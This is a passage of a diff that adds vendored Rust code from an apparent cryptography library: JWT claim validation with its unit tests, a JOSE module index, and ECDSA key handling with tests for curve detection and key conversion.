let exp_i64 = exp.as_i64().ok_or(JwtError::InvalidRegisteredClaimType {
|
||||||
|
claim: EXPIRATION_TIME_CLAIM,
|
||||||
|
})?;
|
||||||
|
if !current_date.is_before_strict(exp_i64) {
|
||||||
|
return Err(JwtError::Expired {
|
||||||
|
not_after: exp_i64,
|
||||||
|
now: current_date.clone(),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
serde_json::value::from_value(claims)?
|
||||||
|
}
|
||||||
|
(None, _, _) => serde_json::from_slice(claims_json)?,
|
||||||
|
};
|
||||||
|
|
||||||
|
Ok(claims)
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
use crate::jose::jws::RawJws;
|
||||||
|
use crate::pem::Pem;
|
||||||
|
use serde::Deserialize;
|
||||||
|
use std::borrow::Cow;
|
||||||
|
|
||||||
|
#[derive(Serialize, Deserialize, Debug, PartialEq)]
|
||||||
|
struct MyClaims {
|
||||||
|
sub: Cow<'static, str>,
|
||||||
|
name: Cow<'static, str>,
|
||||||
|
admin: bool,
|
||||||
|
iat: i32,
|
||||||
|
}
|
||||||
|
|
||||||
|
const fn get_strongly_typed_claims() -> MyClaims {
|
||||||
|
MyClaims {
|
||||||
|
sub: Cow::Borrowed("1234567890"),
|
||||||
|
name: Cow::Borrowed("John Doe"),
|
||||||
|
admin: true,
|
||||||
|
iat: 1516239022,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn get_private_key_1() -> PrivateKey {
|
||||||
|
let pk_pem = picky_test_data::RSA_2048_PK_1.parse::<Pem>().unwrap();
|
||||||
|
PrivateKey::from_pkcs8(pk_pem.data()).unwrap()
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn encode_jws_rsa_sha256() {
|
||||||
|
let claims = get_strongly_typed_claims();
|
||||||
|
let jwt = CheckedJwtSig::new(JwsAlg::RS256, claims);
|
||||||
|
let encoded = jwt.encode(&get_private_key_1()).unwrap();
|
||||||
|
assert_eq!(encoded, picky_test_data::JOSE_JWT_SIG_EXAMPLE);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn decode_jws_rsa_sha256() {
|
||||||
|
let public_key = get_private_key_1().to_public_key().unwrap();
|
||||||
|
let jwt = JwtSig::decode(picky_test_data::JOSE_JWT_SIG_EXAMPLE, &public_key)
|
||||||
|
.unwrap()
|
||||||
|
.validate::<MyClaims>(&JwtValidator::no_check())
|
||||||
|
.unwrap();
|
||||||
|
assert_eq!(jwt.state.claims, get_strongly_typed_claims());
|
||||||
|
|
||||||
|
// exp and nbf claims aren't present but this should pass with lenient validator
|
||||||
|
let now = JwtDate::new(0);
|
||||||
|
JwtSig::decode(picky_test_data::JOSE_JWT_SIG_EXAMPLE, &public_key)
|
||||||
|
.unwrap()
|
||||||
|
.validate::<MyClaims>(&JwtValidator::lenient(now))
|
||||||
|
.unwrap();
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn decode_jws_invalid_validator_err() {
|
||||||
|
let public_key = get_private_key_1().to_public_key().unwrap();
|
||||||
|
let validator = JwtValidator::no_check()
|
||||||
|
.expiration_check_required()
|
||||||
|
.not_before_check_optional();
|
||||||
|
let err = JwtSig::decode(picky_test_data::JOSE_JWT_SIG_EXAMPLE, &public_key)
|
||||||
|
.unwrap()
|
||||||
|
.validate::<MyClaims>(&validator)
|
||||||
|
.err()
|
||||||
|
.unwrap();
|
||||||
|
assert_eq!(err.to_string(), "invalid validator: current date is missing");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn decode_jws_required_claim_missing_err() {
|
||||||
|
let public_key = get_private_key_1().to_public_key().unwrap();
|
||||||
|
let now = JwtDate::new(0);
|
||||||
|
let validator = JwtValidator::strict(now);
|
||||||
|
let err = JwtSig::decode(picky_test_data::JOSE_JWT_SIG_EXAMPLE, &public_key)
|
||||||
|
.unwrap()
|
||||||
|
.validate::<MyClaims>(&validator)
|
||||||
|
.err()
|
||||||
|
.unwrap();
|
||||||
|
assert_eq!(err.to_string(), "required claim `nbf` is missing");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn decode_jws_rsa_sha256_using_json_value_claims() {
|
||||||
|
let public_key = get_private_key_1().to_public_key().unwrap();
|
||||||
|
let validator = JwtValidator::no_check();
|
||||||
|
let jwt = JwtSig::decode(picky_test_data::JOSE_JWT_SIG_EXAMPLE, &public_key)
|
||||||
|
.unwrap()
|
||||||
|
.validate::<serde_json::Value>(&validator)
|
||||||
|
.unwrap();
|
||||||
|
assert_eq!(jwt.state.claims["sub"].as_str().expect("sub"), "1234567890");
|
||||||
|
assert_eq!(jwt.state.claims["name"].as_str().expect("name"), "John Doe");
|
||||||
|
assert!(jwt.state.claims["admin"].as_bool().expect("sub"));
|
||||||
|
assert_eq!(jwt.state.claims["iat"].as_i64().expect("iat"), 1516239022);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn jwe_direct_aes_256_gcm() {
|
||||||
|
let claims = get_strongly_typed_claims();
|
||||||
|
let key = crate::hash::HashAlgorithm::SHA2_256.digest(b"magic_password");
|
||||||
|
let jwt = CheckedJwtEnc::new(JweAlg::Direct, JweEnc::Aes256Gcm, claims);
|
||||||
|
let encoded = jwt.encode_direct(&key).unwrap();
|
||||||
|
let decoded = JwtEnc::decode_direct(&encoded, &key)
|
||||||
|
.unwrap()
|
||||||
|
.validate::<MyClaims>(&NO_CHECK_VALIDATOR)
|
||||||
|
.unwrap();
|
||||||
|
assert_eq!(decoded.state.claims, get_strongly_typed_claims());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Deserialize)]
|
||||||
|
struct MyExpirableClaims {
|
||||||
|
exp: i64,
|
||||||
|
nbf: i64,
|
||||||
|
msg: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn decode_jws_not_expired() {
|
||||||
|
let public_key = get_private_key_1().to_public_key().unwrap();
|
||||||
|
|
||||||
|
let jwt = JwtSig::decode(picky_test_data::JOSE_JWT_SIG_WITH_EXP, &public_key)
|
||||||
|
.unwrap()
|
||||||
|
.validate::<MyExpirableClaims>(&JwtValidator::strict(JwtDate::new(1545263999)))
|
||||||
|
.expect("couldn't decode jwt without leeway");
|
||||||
|
|
||||||
|
assert_eq!(jwt.state.claims.exp, 1545264000);
|
||||||
|
assert_eq!(jwt.state.claims.nbf, 1545263000);
|
||||||
|
assert_eq!(jwt.state.claims.msg, "THIS IS TIME SENSITIVE DATA");
|
||||||
|
|
||||||
|
// alternatively, a leeway can account for small clock skew
|
||||||
|
JwtSig::decode(picky_test_data::JOSE_JWT_SIG_WITH_EXP, &public_key)
|
||||||
|
.unwrap()
|
||||||
|
.validate::<MyExpirableClaims>(&JwtValidator::strict(JwtDate::new_with_leeway(1545264001, 10)))
|
||||||
|
.expect("couldn't decode jwt with leeway for exp");
|
||||||
|
|
||||||
|
JwtSig::decode(picky_test_data::JOSE_JWT_SIG_WITH_EXP, &public_key)
|
||||||
|
.unwrap()
|
||||||
|
.validate::<MyExpirableClaims>(&JwtValidator::strict(JwtDate::new_with_leeway(1545262999, 10)))
|
||||||
|
.expect("couldn't decode jwt with leeway for nbf");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn decode_jws_invalid_date_err() {
|
||||||
|
let public_key = get_private_key_1().to_public_key().unwrap();
|
||||||
|
|
||||||
|
let err = JwtSig::decode(picky_test_data::JOSE_JWT_SIG_WITH_EXP, &public_key)
|
||||||
|
.unwrap()
|
||||||
|
.validate::<MyExpirableClaims>(&JwtValidator::strict(JwtDate::new(1545264001)))
|
||||||
|
.err()
|
||||||
|
.unwrap();
|
||||||
|
|
||||||
|
assert_eq!(
|
||||||
|
err.to_string(),
|
||||||
|
"token expired (not after: 1545264000, now: 1545264001 [leeway: 0])"
|
||||||
|
);
|
||||||
|
|
||||||
|
let err = JwtSig::decode(picky_test_data::JOSE_JWT_SIG_WITH_EXP, &public_key)
|
||||||
|
.unwrap()
|
||||||
|
.validate::<MyExpirableClaims>(&JwtValidator::strict(JwtDate::new_with_leeway(1545262998, 1)))
|
||||||
|
.err()
|
||||||
|
.unwrap();
|
||||||
|
|
||||||
|
assert_eq!(
|
||||||
|
err.to_string(),
|
||||||
|
"token not yet valid (not before: 1545263000, now: 1545262998 [leeway: 1])"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn decode_step_cli_generated_token() {
|
||||||
|
#[derive(Deserialize)]
|
||||||
|
struct SomeJetClaims {
|
||||||
|
jet_ap: String,
|
||||||
|
prx_usr: String,
|
||||||
|
nbf: i64,
|
||||||
|
}
|
||||||
|
|
||||||
|
let jws = RawJws::decode("eyJhbGciOiJSUzI1NiIsImtpZCI6InUzQkF1b3lrZ21FY0F2Z21ydm5PVWxNZUYxN2JjS09EbGYweFdHcDhMY2MiLCJ0eXAiOiJKV1QifQ.eyJpYXQiOjE2NTkxMTg1NjMsImpldF9hcCI6InJkcCIsImp0aSI6IjY1YjkwZmQwMjM2YWU3Mjg1OWE1YWZlZTM3MTEzOTdjOWU4NTI1YzA4YzIyNjE4N2NlNjJjOWQwNTEzNDUzOTUiLCJuYmYiOjE2NTkxMTg1NjMsInByeF91c3IiOiJ1c2VybmFtZSJ9.MzULmkNyVY48nOgN7zbtN9q8Ni8JRavpkbw34aD-lMfqJzl5pFEJQPV9G1iM1HCbcMPRJfMDjVP31dAHOVtsu-gqGRx9qw1ogpNffcJI0nh5-VPPnqBbT5u8H2rJ7WeXO5kx4KAnD2Fbc45Nb6YEM-f_s9RyFipub0LI5AwiUHcbicJno0Lxz0dFKMiSA4cTNOe22vY7STf-E52LnsdHhnTt3JKDPP-7i5FzL1wOdBHzvxhRpyLqNU1kcSXrV_1L07XekeR6Kp3JoWaaJsIWm1Sk27W13Q575gS0a9OJgGX0bumq9fCneOJgLU8HrelUP8-qRM2IaGV81NRAr5HasQ")
|
||||||
|
.map(RawJws::discard_signature)
|
||||||
|
.map(JwtSig::from)
|
||||||
|
.unwrap()
|
||||||
|
.validate::<SomeJetClaims>(&JwtValidator::no_check())
|
||||||
|
.unwrap();
|
||||||
|
|
||||||
|
assert_eq!(jws.state.claims.jet_ap, "rdp");
|
||||||
|
assert_eq!(jws.state.claims.prx_usr, "username");
|
||||||
|
assert_eq!(jws.state.claims.nbf, 1659118563);
|
||||||
|
}
|
||||||
|
}
|
||||||
Vendored
+14
@@ -0,0 +1,14 @@
|
|||||||
|
//! JOSE framework subset implementation.
|
||||||
|
//!
|
||||||
|
//! A Json Web Token (JWT) comes in two flavors, roughly:
|
||||||
|
//! - Json Web Encryption (JWE), used to transfer data securely
|
||||||
|
//! - Json Web Signature (JWS), used to assert one's identity
|
||||||
|
//!
|
||||||
|
//! Common part is known as the "JOSE header".
|
||||||
|
//!
|
||||||
|
//! JSON Web Key (JWK) are used to represent cryptographic keys using JSON.
|
||||||
|
|
||||||
|
pub mod jwe;
|
||||||
|
pub mod jwk;
|
||||||
|
pub mod jws;
|
||||||
|
pub mod jwt;
|
||||||
Vendored
+396
@@ -0,0 +1,396 @@
|
|||||||
|
use crate::key::{KeyError, PrivateKey, PrivateKeyKind, PublicKey};
|
||||||
|
use crate::oid::ObjectIdentifier;
|
||||||
|
|
||||||
|
use picky_asn1::wrapper::BitStringAsn1;
|
||||||
|
use picky_asn1_x509::{EcParameters, oids};
|
||||||
|
use std::fmt::Display;
|
||||||
|
use zeroize::Zeroize;
|
||||||
|
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub(crate) struct EcdsaKeypair {
|
||||||
|
curve: NamedEcCurve,
|
||||||
|
private_key: Vec<u8>,
|
||||||
|
public_key: Option<Vec<u8>>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl EcdsaKeypair {
|
||||||
|
pub fn curve(&self) -> &NamedEcCurve {
|
||||||
|
&self.curve
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn secret(&self) -> &[u8] {
|
||||||
|
&self.private_key
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Drop for EcdsaKeypair {
|
||||||
|
fn drop(&mut self) {
|
||||||
|
self.private_key.zeroize();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub(crate) enum EcComponent<'a> {
|
||||||
|
PointX(&'a [u8]),
|
||||||
|
PointY(&'a [u8]),
|
||||||
|
Secret(&'a [u8]),
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Elliptic curve name to use for curve operations which require curve-specific arithmetic.
|
||||||
|
#[derive(Clone, Copy, Debug, Eq, PartialEq)]
|
||||||
|
pub enum EcCurve {
|
||||||
|
/// NIST P-256 curve (secp256r1)
|
||||||
|
NistP256,
|
||||||
|
/// NIST P-384 curve (secp384r1)
|
||||||
|
NistP384,
|
||||||
|
/// NIST P-521 curve (secp521r1)
|
||||||
|
NistP521,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl EcCurve {
|
||||||
|
/// Get size of field compoennet in bytes (e.g. X and Y point values, Secret key,
|
||||||
|
/// R and S signature values)
|
||||||
|
pub(crate) fn field_bytes_size(self) -> usize {
|
||||||
|
match self {
|
||||||
|
EcCurve::NistP256 => {
|
||||||
|
use p256::elliptic_curve::FieldBytesSize;
|
||||||
|
use p256::elliptic_curve::array::typenum::Unsigned;
|
||||||
|
<FieldBytesSize<p256::NistP256> as Unsigned>::USIZE
|
||||||
|
}
|
||||||
|
EcCurve::NistP384 => {
|
||||||
|
use p384::elliptic_curve::FieldBytesSize;
|
||||||
|
use p384::elliptic_curve::array::typenum::Unsigned;
|
||||||
|
<FieldBytesSize<p384::NistP384> as Unsigned>::USIZE
|
||||||
|
}
|
||||||
|
EcCurve::NistP521 => {
|
||||||
|
use p521::elliptic_curve::FieldBytesSize;
|
||||||
|
use p521::elliptic_curve::array::typenum::Unsigned;
|
||||||
|
<FieldBytesSize<p521::NistP521> as Unsigned>::USIZE
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// We need to validate input data sizes to prevent panics in the underlying `generic_array`
|
||||||
|
/// library code.
|
||||||
|
pub(crate) fn validate_component<'a>(&self, component: EcComponent<'a>) -> Result<&'a [u8], KeyError> {
|
||||||
|
let (buffer, error_message) = match component {
|
||||||
|
EcComponent::PointX(buf) => (buf, "Invalid `point.x` component size"),
|
||||||
|
EcComponent::PointY(buf) => (buf, "Invalid `point.y` component size"),
|
||||||
|
EcComponent::Secret(buf) => (buf, "Invalid `secret` component size"),
|
||||||
|
};
|
||||||
|
|
||||||
|
if buffer.len() != self.field_bytes_size() {
|
||||||
|
return Err(KeyError::EC {
|
||||||
|
context: error_message.to_string(),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(buffer)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Describes the curve type of an ECDSA keypair
|
||||||
|
#[derive(Clone, Debug, Eq, PartialEq)]
|
||||||
|
pub(crate) enum NamedEcCurve {
|
||||||
|
Known(EcCurve),
|
||||||
|
Unsupported(ObjectIdentifier),
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Display for EcCurve {
|
||||||
|
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||||
|
match self {
|
||||||
|
Self::NistP256 => write!(f, "NIST-P256"),
|
||||||
|
Self::NistP384 => write!(f, "NIST-P384"),
|
||||||
|
Self::NistP521 => write!(f, "NIST-P521"),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Display for NamedEcCurve {
|
||||||
|
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||||
|
match self {
|
||||||
|
Self::Known(curve) => curve.fmt(f),
|
||||||
|
Self::Unsupported(oid) => {
|
||||||
|
let oid: String = oid.into();
|
||||||
|
write!(f, "Unsupported(OID: {oid})")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl From<&'_ ObjectIdentifier> for NamedEcCurve {
|
||||||
|
fn from(value: &ObjectIdentifier) -> Self {
|
||||||
|
let oid: String = value.into();
|
||||||
|
match oid.as_str() {
|
||||||
|
oids::SECP256R1 => NamedEcCurve::Known(EcCurve::NistP256),
|
||||||
|
oids::SECP384R1 => NamedEcCurve::Known(EcCurve::NistP384),
|
||||||
|
oids::SECP521R1 => NamedEcCurve::Known(EcCurve::NistP521),
|
||||||
|
_ => NamedEcCurve::Unsupported(value.clone()),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl From<NamedEcCurve> for ObjectIdentifier {
|
||||||
|
fn from(value: NamedEcCurve) -> Self {
|
||||||
|
match value {
|
||||||
|
NamedEcCurve::Known(curve) => match curve {
|
||||||
|
EcCurve::NistP256 => oids::secp256r1(),
|
||||||
|
EcCurve::NistP384 => oids::secp384r1(),
|
||||||
|
EcCurve::NistP521 => oids::secp521r1(),
|
||||||
|
},
|
||||||
|
NamedEcCurve::Unsupported(oid) => oid,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl<'a> TryFrom<&'a PrivateKey> for EcdsaKeypair {
|
||||||
|
type Error = KeyError;
|
||||||
|
|
||||||
|
fn try_from(v: &'a PrivateKey) -> Result<Self, Self::Error> {
|
||||||
|
match &v.kind {
|
||||||
|
PrivateKeyKind::Ec {
|
||||||
|
public_key,
|
||||||
|
private_key,
|
||||||
|
curve_oid,
|
||||||
|
..
|
||||||
|
} => Ok(Self {
|
||||||
|
curve: NamedEcCurve::from(curve_oid),
|
||||||
|
private_key: private_key.clone(),
|
||||||
|
public_key: public_key.clone(),
|
||||||
|
}),
|
||||||
|
_ => Err(KeyError::EC {
|
||||||
|
context: "EC keypair cannot be built from Non-EC private key".to_string(),
|
||||||
|
}),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub(crate) fn calculate_public_ec_key(
|
||||||
|
curve_oid: &ObjectIdentifier,
|
||||||
|
private_key: &[u8],
|
||||||
|
compress: bool,
|
||||||
|
) -> Result<Option<Vec<u8>>, KeyError> {
|
||||||
|
let curve = NamedEcCurve::from(curve_oid);
|
||||||
|
|
||||||
|
match curve {
|
||||||
|
NamedEcCurve::Known(EcCurve::NistP256) => {
|
||||||
|
use p256::elliptic_curve::sec1::ToSec1Point as _;
|
||||||
|
|
||||||
|
let private_key_validated = EcCurve::NistP256.validate_component(EcComponent::Secret(private_key))?;
|
||||||
|
|
||||||
|
let secret_bytes =
|
||||||
|
p256::elliptic_curve::array::Array::try_from(private_key_validated).map_err(|_| KeyError::EC {
|
||||||
|
context: format!(
|
||||||
|
"validated private key is the not right length(expected: {}, actual: {})",
|
||||||
|
EcCurve::NistP256.field_bytes_size(),
|
||||||
|
private_key_validated.len()
|
||||||
|
),
|
||||||
|
})?;
|
||||||
|
let secret_key = p256::SecretKey::from_bytes(&secret_bytes).map_err(|_| KeyError::EC {
|
||||||
|
context: "Failed to construct P256 SecretKey from private key bytes".to_string(),
|
||||||
|
})?;
|
||||||
|
|
||||||
|
// Calculate public key from secret key
|
||||||
|
let public_key = secret_key.public_key().as_affine().to_sec1_point(compress);
|
||||||
|
|
||||||
|
Ok(Some(public_key.to_bytes().to_vec()))
|
||||||
|
}
|
||||||
|
NamedEcCurve::Known(EcCurve::NistP384) => {
|
||||||
|
use p384::elliptic_curve::sec1::ToSec1Point as _;
|
||||||
|
|
||||||
|
let private_key_validated = EcCurve::NistP384.validate_component(EcComponent::Secret(private_key))?;
|
||||||
|
|
||||||
|
let secret_bytes =
|
||||||
|
p384::elliptic_curve::array::Array::try_from(private_key_validated).map_err(|_| KeyError::EC {
|
||||||
|
context: format!(
|
||||||
|
"validated private key is the not right length(expected: {}, actual: {})",
|
||||||
|
EcCurve::NistP384.field_bytes_size(),
|
||||||
|
private_key_validated.len()
|
||||||
|
),
|
||||||
|
})?;
|
||||||
|
let secret_key = p384::SecretKey::from_bytes(&secret_bytes).map_err(|_| KeyError::EC {
|
||||||
|
context: "Failed to construct P384 SecretKey from private key bytes".to_string(),
|
||||||
|
})?;
|
||||||
|
|
||||||
|
// Calculate public key from secret key
|
||||||
|
let public_key = secret_key.public_key().as_affine().to_sec1_point(compress);
|
||||||
|
|
||||||
|
Ok(Some(public_key.to_bytes().to_vec()))
|
||||||
|
}
|
||||||
|
NamedEcCurve::Known(EcCurve::NistP521) => {
|
||||||
|
use p521::elliptic_curve::sec1::ToSec1Point as _;
|
||||||
|
|
||||||
|
let private_key_validated = EcCurve::NistP521.validate_component(EcComponent::Secret(private_key))?;
|
||||||
|
|
||||||
|
let secret_bytes =
|
||||||
|
p521::elliptic_curve::array::Array::try_from(private_key_validated).map_err(|_| KeyError::EC {
|
||||||
|
context: format!(
|
||||||
|
"validated private key is the not right length(expected: {}, actual: {})",
|
||||||
|
EcCurve::NistP521.field_bytes_size(),
|
||||||
|
private_key_validated.len()
|
||||||
|
),
|
||||||
|
})?;
|
||||||
|
let secret_key = p521::SecretKey::from_bytes(&secret_bytes).map_err(|_| KeyError::EC {
|
||||||
|
context: "Failed to construct P521 SecretKey from private key bytes".to_string(),
|
||||||
|
})?;
|
||||||
|
|
||||||
|
// Calculate public key from secret key
|
||||||
|
let public_key = secret_key.public_key().as_affine().to_sec1_point(compress);
|
||||||
|
|
||||||
|
Ok(Some(public_key.to_bytes().to_vec()))
|
||||||
|
}
|
||||||
|
NamedEcCurve::Unsupported(_) => Ok(None),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub(crate) struct EcdsaPublicKey<'a> {
|
||||||
|
data: &'a [u8],
|
||||||
|
curve: NamedEcCurve,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl EcdsaPublicKey<'_> {
|
||||||
|
pub fn curve(&self) -> &NamedEcCurve {
|
||||||
|
&self.curve
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn encoded_point(&self) -> &[u8] {
|
||||||
|
self.data
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl<'a> TryFrom<&'a PublicKey> for EcdsaPublicKey<'a> {
|
||||||
|
type Error = KeyError;
|
||||||
|
|
||||||
|
fn try_from(v: &'a PublicKey) -> Result<Self, Self::Error> {
|
||||||
|
use picky_asn1_x509::PublicKey as InnerPublicKey;
|
||||||
|
|
||||||
|
let curve_oid = match &v.as_inner().algorithm.parameters() {
|
||||||
|
picky_asn1_x509::AlgorithmIdentifierParameters::Ec(EcParameters::NamedCurve(curve_oid)) => {
|
||||||
|
curve_oid.0.clone()
|
||||||
|
}
|
||||||
|
_ => {
|
||||||
|
return Err(KeyError::EC {
|
||||||
|
context: "EC public key cannot be constructed from non-EC public key".to_string(),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
match &v.as_inner().subject_public_key {
|
||||||
|
InnerPublicKey::Rsa(_) => Err(KeyError::EC {
|
||||||
|
context: "EC public key cannot be constructed from RSA public key".to_string(),
|
||||||
|
}),
|
||||||
|
InnerPublicKey::Ec(BitStringAsn1(bitstring)) => {
|
||||||
|
let data = bitstring.payload_view();
|
||||||
|
|
||||||
|
Ok(EcdsaPublicKey {
|
||||||
|
data,
|
||||||
|
curve: NamedEcCurve::from(&curve_oid),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
InnerPublicKey::Ed(_) => Err(KeyError::EC {
|
||||||
|
context: "EC public key cannot be constructed from ED25519 public key".to_string(),
|
||||||
|
}),
|
||||||
|
InnerPublicKey::Mldsa(_) => Err(KeyError::EC {
|
||||||
|
context: "EC public key cannot be constructed from MLDSA public key".to_string(),
|
||||||
|
}),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl<'a> TryFrom<&'a EcdsaKeypair> for EcdsaPublicKey<'a> {
|
||||||
|
type Error = KeyError;
|
||||||
|
|
||||||
|
fn try_from(v: &'a EcdsaKeypair) -> Result<Self, Self::Error> {
|
||||||
|
match v.public_key.as_ref() {
|
||||||
|
Some(key) => Ok(Self {
|
||||||
|
data: key.as_slice(),
|
||||||
|
curve: v.curve.clone(),
|
||||||
|
}),
|
||||||
|
None => Err(KeyError::EC {
|
||||||
|
context: "EC public key cannot be constructed from EC private key without public key".to_string(),
|
||||||
|
}),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
use rstest::*;
|
||||||
|
|
||||||
|
const RSA_PUBLIC_KEY_PEM: &str = "-----BEGIN RSA PUBLIC KEY-----\n\
|
||||||
|
MIIBCgKCAQEA61BjmfXGEvWmegnBGSuS+rU9soUg2FnODva32D1AqhwdziwHINFa\n\
|
||||||
|
D1MVlcrYG6XRKfkcxnaXGfFDWHLEvNBSEVCgJjtHAGZIm5GL/KA86KDp/CwDFMSw\n\
|
||||||
|
luowcXwDwoyinmeOY9eKyh6aY72xJh7noLBBq1N0bWi1e2i+83txOCg4yV2oVXhB\n\
|
||||||
|
o8pYEJ8LT3el6Smxol3C1oFMVdwPgc0vTl25XucMcG/ALE/KNY6pqC2AQ6R2ERlV\n\
|
||||||
|
gPiUWOPatVkt7+Bs3h5Ramxh7XjBOXeulmCpGSynXNcpZ/06+vofGi/2MlpQZNhH\n\
|
||||||
|
Ao8eayMp6FcvNucIpUndo1X8dKMv3Y26ZQIDAQAB\n\
|
||||||
|
-----END RSA PUBLIC KEY-----";
|
||||||
|
|
||||||
|
#[rstest]
|
||||||
|
#[case(picky_test_data::EC_NIST256_DER_PK_1)]
|
||||||
|
#[case(picky_test_data::EC_NIST384_DER_PK_1)]
|
||||||
|
#[case(picky_test_data::EC_NIST521_DER_PK_1)]
|
||||||
|
#[case(picky_test_data::EC_NIST256_PK_1)] // PKCS8
|
||||||
|
fn private_key_from_ec_pem(#[case] key_pem: &str) {
|
||||||
|
PrivateKey::from_pem_str(key_pem).unwrap();
|
||||||
|
}
|
||||||
|
|
||||||
|
#[rstest]
|
||||||
|
#[case(picky_test_data::EC_NIST256_NOPUBLIC_DER_PK_1)]
|
||||||
|
#[case(picky_test_data::EC_NIST384_NOPUBLIC_DER_PK_1)]
|
||||||
|
#[case(picky_test_data::EC_NIST521_NOPUBLIC_DER_PK_1)]
|
||||||
|
fn ecdsa_private_key_without_public(#[case] key_pem: &str) {
|
||||||
|
// This should succeed for supported curves
|
||||||
|
let key = PrivateKey::from_pem_str(key_pem).unwrap();
|
||||||
|
key.to_public_key().unwrap().to_pem_str().unwrap();
|
||||||
|
}
|
||||||
|
|
||||||
|
#[rstest]
|
||||||
|
// Known curves
|
||||||
|
#[case(picky_test_data::EC_NIST256_PK_1_PUB)]
|
||||||
|
#[case(picky_test_data::EC_NIST384_PK_1_PUB)]
|
||||||
|
#[case(picky_test_data::EC_NIST521_PK_1_PUB)]
|
||||||
|
// Unsupported curve, should still work as long as pem contains the public key
|
||||||
|
// (in that case no arithmetic operations are performed on the key)
|
||||||
|
#[case(picky_test_data::EC_PUBLIC_KEY_SECP256K1_PEM)]
|
||||||
|
fn ecdsa_public_valid_key_conversions(#[case] key_pem: &str) {
|
||||||
|
let pk: &PublicKey = &PublicKey::from_pem_str(key_pem).unwrap();
|
||||||
|
let epk: Result<EcdsaPublicKey, KeyError> = pk.try_into();
|
||||||
|
assert!(epk.is_ok());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn ecdsa_public_invalid_key_conversions() {
|
||||||
|
// PEM public key conversion fails with an error
|
||||||
|
let pk: &PublicKey = &PublicKey::from_pem_str(RSA_PUBLIC_KEY_PEM).unwrap();
|
||||||
|
let epk: Result<EcdsaPublicKey, KeyError> = pk.try_into();
|
||||||
|
assert!(epk.is_err());
|
||||||
|
assert!(matches!(epk, Err(KeyError::EC { context: _ })));
|
||||||
|
|
||||||
|
// TODO: add check for attempted conversion from ED keys - which are not supported yet
|
||||||
|
}
|
||||||
|
|
||||||
|
#[rstest]
|
||||||
|
#[case(picky_test_data::EC_NIST256_DER_PK_1, NamedEcCurve::Known(EcCurve::NistP256))]
|
||||||
|
#[case(picky_test_data::EC_NIST384_DER_PK_1, NamedEcCurve::Known(EcCurve::NistP384))]
|
||||||
|
#[case(picky_test_data::EC_NIST521_DER_PK_1, NamedEcCurve::Known(EcCurve::NistP521))]
|
||||||
|
fn ecdsa_key_pair_from_ec_private_key(#[case] key: &str, #[case] curve: NamedEcCurve) {
|
||||||
|
let pk = PrivateKey::from_pem_str(key).unwrap();
|
||||||
|
let pair = EcdsaKeypair::try_from(&pk).unwrap();
|
||||||
|
assert_eq!(curve, pair.curve);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn ring_ecdsa_pkcs8_keys_could_be_parsed() {
|
||||||
|
let algo = &ring::signature::ECDSA_P256_SHA256_ASN1_SIGNING;
|
||||||
|
let rng = ring::rand::SystemRandom::new();
|
||||||
|
let pkcs8_bytes = ring::signature::EcdsaKeyPair::generate_pkcs8(algo, &rng).unwrap();
|
||||||
|
// Validate that missing `parameters` field from ECPriavteKeyInfo is handled correctly.
|
||||||
|
// rings skips it during pkcs8 serialization
|
||||||
|
let key = PrivateKey::from_pkcs8(&pkcs8_bytes).unwrap();
|
||||||
|
let pair = EcdsaKeypair::try_from(&key).unwrap();
|
||||||
|
|
||||||
|
